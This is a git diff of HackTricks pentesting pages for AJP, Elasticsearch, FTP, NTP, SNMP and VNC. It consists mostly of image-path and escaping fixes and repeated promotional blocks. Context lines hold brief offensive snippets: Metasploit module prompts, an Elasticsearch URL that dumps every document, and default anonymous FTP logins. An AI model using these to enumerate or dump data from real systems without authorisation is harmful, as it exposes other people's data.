 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md

@@ -1,21 +1,21 @@
 # 8009 - Pentesting Apache JServ Protocol (AJP)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -189,10 +189,10 @@ msf  exploit(tomcat_mgr_deploy) > show options
 
 ## References
 
-* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
+* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx_ajp_module)
 * [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -208,15 +208,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/9200-pentesting-elasticsearch.md

@@ -1,21 +1,21 @@
 # 9200 - Pentesting Elasticsearch
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
 **Get a hacker's perspective on your web apps, network, and cloud**
 
@@ -145,7 +145,7 @@ _Take a moment to compare the contents of the each document (entry) inside the b
 
 So, at this point you may notice that **there is a field called "total" inside "hits"** that indicates that **1000 documents were found** inside this index but only 10 were retried. This is because **by default there is a limit of 10 documents**.\
 But, now that you know that **this index contains 1000 documents**, you can **dump all of them** indicating the number of entries you want to dump in the **`size`** parameter: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
-_Note: If you indicate bigger number all the entries will be dumped anyway, for example you could indicate `size=9999` and it will be weird if there were more entries (but you should check)._
+&#xNAN;_&#x4E;ote: If you indicate bigger number all the entries will be dumped anyway, for example you could indicate `size=9999` and it will be weird if there were more entries (but you should check)._
 
 ### Dump all
 
@@ -202,7 +202,7 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
 
 * `port:9200 elasticsearch`
 
-<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
 **Get a hacker's perspective on your web apps, network, and cloud**
 
@@ -211,15 +211,15 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-ftp/README.md

@@ -1,15 +1,15 @@
 # 21 - Pentesting FTP
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -111,8 +111,8 @@ STAT
 ### Anonymous login
 
 _anonymous : anonymous_\
-_anonymous :_\
-_ftp : ftp_
+&#xNAN;_&#x61;nonymous :_\
+&#xNAN;_&#x66;tp : ftp_
 
 ```bash
 ftp <IP>
@@ -238,7 +238,6 @@ The default configuration of vsFTPd can be found in `/etc/vsftpd.conf`. In here,
 * `ftp`
 * `port:21`
 
-
 ## HackTricks Automatic Commands
 
 ```
@@ -294,15 +293,15 @@ Entry_7:
 ```
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-ntp.md

@@ -1,22 +1,21 @@
 # 123/udp - Pentesting NTP
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
-{% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -110,7 +109,7 @@ Entry_2:
 
 ​
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -124,19 +123,18 @@ Keep up-to-date with fast-paced hacking world through real-time news and insight
 Stay informed with the newest bug bounties launching and crucial platform updates
 
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
+
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
-</details>
-{% endhint %}

network-services-pentesting/pentesting-snmp/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -47,7 +47,7 @@ The highest levels of MIB object IDs, or OIDs, are allocated to diverse standard
 
 Furthermore, vendors are granted the liberty to establish private branches. Within these branches, they have the **autonomy to include managed objects pertinent to their own product lines**. This system ensures that there is a structured and organized method for identifying and managing a wide array of objects across different vendors and standards.
 
-![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
+![](<../../.gitbook/assets/SNMP_OID_MIB_Tree (1).png>)
 
 You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** (like `1.3.6.1.2.1.1`) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
 There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol (SNMP) variables. And from the **OIDs pending from this one** you can obtain some interesting host data (system data, network data, processes data...)
@@ -107,11 +107,11 @@ In versions 1 and 2/2c if you to use a **bad** community string the server wont
 
 ## Ports
 
-[From Wikipedia](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
+[From Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
 
 * The SNMP agent receives requests on UDP port **161**.
-* The manager receives notifications ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) and [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) on port **162**.
-* When used with [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) or [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), requests are received on port **10161** and notifications are sent to port **10162**.
+* The manager receives notifications ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) and [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) on port **162**.
+* When used with [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) or [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), requests are received on port **10161** and notifications are sent to port **10162**.
 
 ## Brute-Force Community String (v1 and v2c)
 
@@ -261,7 +261,7 @@ If there is an ACL that only allows some IPs to query the SMNP service, you can
 * snmpd.conf
 * snmp-config.xml
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -314,7 +314,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-snmp/cisco-snmp.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -56,7 +56,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 
 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -71,7 +71,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-vnc.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -68,7 +68,7 @@ I save the tool here also for ease of access:
 
 * `port:5900 RFB`
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
